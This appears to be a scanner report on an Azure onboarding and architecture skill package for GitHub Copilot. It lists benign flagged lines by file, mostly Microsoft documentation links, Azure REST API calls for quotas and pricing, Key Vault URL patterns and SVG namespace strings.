harness/github-copilot/skills/azure-app-onboard/references/handoff-protocol.md
- Network accessline 12
> 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview - Network accessline 13
> 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ``` - Network accessline 14
> 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
harness/github-copilot/skills/azure-app-onboard/references/iac-resources.md
- Network accessline 7
| Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 8
|----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u - Network accessline 9
| Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 10
| Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type | - Network accessline 14
| Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 15
|----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry. - Network accessline 16
| Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 17
| Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs | - Network accessline 34
| Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail - Network accessline 35
|----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR - Network accessline 36
| Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code | - Network accessline 37
| App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues | - Network accessline 38
| App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont - Network accessline 39
| Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures | - Network accessline 40
| Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |
harness/github-copilot/skills/azure-app-onboard/references/mcp-tool-reference.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool - Network accessline 28
> **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed
harness/github-copilot/skills/azure-app-onboard/references/phases/deploy.md
- Network accessline 43
| 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr - Network accessline 44
| 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc - Network accessline 45
| 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_
harness/github-copilot/skills/azure-app-onboard/references/prepare/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/skills/azure-app-onboard/references/prepare/naming-patterns.md
- Network accessline 5
> **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.
harness/github-copilot/skills/azure-app-onboard/references/prepare/prepare-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-app-onboard/references/prepare/pricing-guide-services.md
- Network accessline 197
**Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):
harness/github-copilot/skills/azure-app-onboard/references/prepare/pricing-guide.md
- Network accessline 66
When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service
harness/github-copilot/skills/azure-app-onboard/references/prepare/sku-quota-validation.md
- Network accessline 35
$sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/ - Network accessline 36
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20 - Network accessline 37
$limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null - Network accessline 38
$used = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null - Network accessline 48
az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" - - Network accessline 86
$sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$s - Network accessline 87
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup - Network accessline 88
$result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null
harness/github-copilot/skills/azure-app-onboard/references/prepare/subagent-pricing.md
- Network accessline 42
- ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries ( - Network accessline 45
- ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 - Network accessline 46
- ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to - Network accessline 47
- ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.
harness/github-copilot/skills/azure-app-onboard/references/prepare/validation-rubric.md
- Network accessline 8
|-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment* - Network accessline 9
| **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg - Network accessline 10
| **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget - Network accessline 22
- [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance - Network accessline 23
- [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists
harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md
- Network accessline 116
> ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 117
> `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 133
// ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL #disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets - Network accessline 134
#disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' // Uses the CA's system-assigned managed identity - Network accessline 135
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 188
Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars: - Network accessline 191
env: [ { name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 192
{ name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 193
{ name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }
harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md
- Network accessline 20
> **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 79
> **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold - Network accessline 80
> > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne - Network accessline 81
> ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/
harness/github-copilot/skills/azure-app-onboard/references/scaffold/bicep-patterns.md
- Network accessline 5
> **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates. - Network accessline 76
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 77
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
harness/github-copilot/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md
- Network accessline 59
1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 60
2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 62
Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).
harness/github-copilot/skills/azure-app-onboard/references/scaffold/env-var-secrets.md
- Network accessline 12
> **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope - Network accessline 13
> ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins } - Network accessline 14
> var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' - Network accessline 35
{ name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 36
name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' - Network accessline 37
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Access to secretsline 56
[Credential-related source omitted]
harness/github-copilot/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md
- Network accessline 61
⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](
harness/github-copilot/skills/azure-app-onboard/references/scaffold/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/github-copilot/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-app-onboard/references/scaffold/self-review-checklist.md
- Network accessline 112
Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).
harness/github-copilot/skills/azure-app-onboard/references/scaffold/terraform-patterns.md
harness/github-copilot/skills/azure-app-onboard/references/scaffold/waf-checklist.md
- Network accessline 5
> **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p
harness/github-copilot/skills/azure-app-onboard/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1
- Executable scriptline 1
#!/usr/bin/env pwsh
harness/github-copilot/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-architecture-autopilot/.gitignore
- Access to secretsline 23
[Credential-related source omitted]
harness/github-copilot/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md
- Network accessline 32
| ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 33
|----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso - Network accessline 34
| A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 35
| A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles | - Network accessline 36
| A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure | - Network accessline 37
| A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub | - Network accessline 38
| A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure | - Network accessline 39
| A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) | - Network accessline 40
| A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide | - Network accessline 41
| A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding | - Network accessline 42
| A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap | - Network accessline 48
| Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target | - Network accessline 50
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
harness/github-copilot/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md
- Network accessline 13
| Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 14
|---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc - Network accessline 15
| CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 16
| AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices | - Network accessline 17
| Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts | - Network accessline 18
| Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults | - Network accessline 19
| Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks | - Network accessline 20
| Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints | - Network accessline 21
| Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones | - Network accessline 22
| Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities | - Network accessline 23
| Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories | - Network accessline 24
| Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components | - Network accessline 25
| ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces | - Network accessline 33
https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType} - Network accessline 42
| Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 43
|--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" - Network accessline 44
| MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 55
| Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 57
| PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 67
| Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 69
| Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 77
| Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | - Network accessline 78
|--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification | - Network accessline 79
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
harness/github-copilot/skills/azure-architecture-autopilot/references/bicep-generator.md
- Network accessline 21
**Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 22
1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 48
### Always Fetch (Dynamic) - Network accessline 68
1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure - Network accessline 69
2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch - Network accessline 70
3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf - Network accessline 71
4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone
harness/github-copilot/skills/azure-architecture-autopilot/references/phase1-advisor.md
- Network accessline 162
- **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i - Network accessline 163
- If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal - Network accessline 164
- Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - Network accessline 183
// 1. SKU question ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 184
ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", choices: [ - Network accessline 185
question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 194
// 2. Region question (separate call — only 1 question per call) ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 195
ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", choices: [ - Network accessline 196
question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 325
Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" - Network accessline 326
Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" Write-Host " 3. Search for 'Python 3.12' in the Microsoft Store and install" - Network accessline 327
Write-Host " 2. Download from https://www.python.org/downloads/"
harness/github-copilot/skills/azure-architecture-autopilot/references/service-gotchas.md
- Network accessline 59
> > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure - Network accessline 61
> https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
harness/github-copilot/skills/azure-architecture-autopilot/scripts/cli.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/azure-architecture-autopilot/scripts/generator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 528
<title>{title}</title> <style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 529
<style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); * {{ box-sizing: border-box; margin: 0; padding: 0; }} - Network accessline 530
@import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 1139
const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1147
const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network'; const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1148
const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1168
if (gb.isPE) {{ // PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1169
// PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1170
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1177
}} else {{ // Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1178
// Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1179
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1190
// Title bar const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1191
const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1196
titleBar.setAttribute('opacity', '0.1'); root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1197
root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8); - Network accessline 1198
const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1204
// Color accent line const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1205
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1211
// Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1212
const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1253
const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1261
const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2533
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path'); - Network accessline 2603
const nw = isPe ? PE_W : SVC_W; const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2604
const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.setAttribute('class', 'node'); - Network accessline 2605
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2610
// Card background — full clickable area const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2611
const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2619
// Color accent bar at top const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2620
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2630
if (node.icon_data_uri) {{ // Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2631
// Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); - Network accessline 2632
const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2633
iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data - Network accessline 2634
iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); g.appendChild(iconImg); - Network accessline 2635
iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); - Network accessline 2637
}} else {{ // Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2638
// Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY); - Network accessline 2639
const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2647
// Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room) const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2648
const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2658
// SKU label if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2659
